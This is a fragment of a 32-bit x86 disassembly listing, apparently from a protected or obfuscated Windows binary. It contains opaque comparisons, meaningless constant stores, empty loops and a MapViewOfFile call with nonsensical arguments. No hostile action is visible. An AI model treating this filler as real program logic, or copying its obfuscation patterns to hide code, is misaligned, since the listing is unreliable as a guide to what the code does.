sub ecx, dword [ebp + eax - 0x2c0]
cmp ecx, 0x4380d33b
jne 0x100453d5
mov dword [ebp - 0x43c], 1
jmp 0x100453dc
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x52c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c0]
cmp dword [ebp - 0x52c], eax
jle 0x10045409
mov dword [ebp - 0x6b8], 1
jmp 0x10045410
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x82c], eax
push 8
pop eax
neg eax
cmp eax, 0xfa014801
jbe 0x10045431
mov dword [ebp - 0x728], 1
jmp 0x10045438
and dword [ebp - 0x728], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7e4]
mov dword [ebp - 0x910], eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x708]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x640], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x18], 0
jbe 0x1004548b
mov eax, dword [ebp - 0x14]
push dword [eax + 0x18]
push 0
call fcn.1003e696
pop ecx
pop ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x54], 0xe8cff0ea
mov dword [ebp - 0x7c4], 0x9b4a
mov dword [ebp - 0x7c0], 0x9b4a
mov dword [ebp - 0x7bc], 0x9b4a
mov dword [ebp - 0x7b8], 0x9b4a
mov dword [ebp - 0x54], 0
jmp 0x100454ca
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x17
jne 0x100456f5
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0xc8], 0
jmp 0x100454f7
cmp dword [ebp - 0xc8], 0xffffffea
je 0x100456f0
mov dword [ebp - 0xc0], 0x7d65121a
mov dword [ebp - 0x128], 0x83398963
mov dword [ebp - 0x1e4], 0
jmp 0x10045531
cmp dword [ebp - 0x1e4], 2
jge 0x1004554d
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x784], 0x1fc3eee2
jmp 0x10045524
mov dword [ebp - 0xc0], 1
jmp 0x10045566
jmp 0x100454c3
mov dword [ebp - 0x54], 0
jmp 0x10045705
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x1004571b
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x7c4], 0x74fd
jmp 0x100456fe
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x224], 0xe0a8eac8
push 0xc0
push 0
push 0x3cf0
push 0x72b4
call fcn.10042c36
add esp, 0x10
mov dword [ebp - 0x224], 0
jmp 0x10045760
cmp dword [ebp - 0x224], 0xfffffff7
jg 0x1004578b
mov dword [ebp - 0x6c0], 0xfffffffb
push 0
push 0x2fef
lea eax, [ebp - 0x6c0]
push eax
call fcn.1004288e
add esp, 0xc
jmp 0x10045753
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x14]
sub eax, dword [ebp - 0x130]
mov dword [ebp - 0xe0], eax
and dword [ebp - 0x148], 0
jmp 0x100457b3
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x6c4], eax
mov eax, dword [ebp - 0x6c4]
movzx eax, byte [eax]
test eax, eax
je 0x100475c9
push 0xc1e
push 0x202
push 0x2633
push 0x931
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret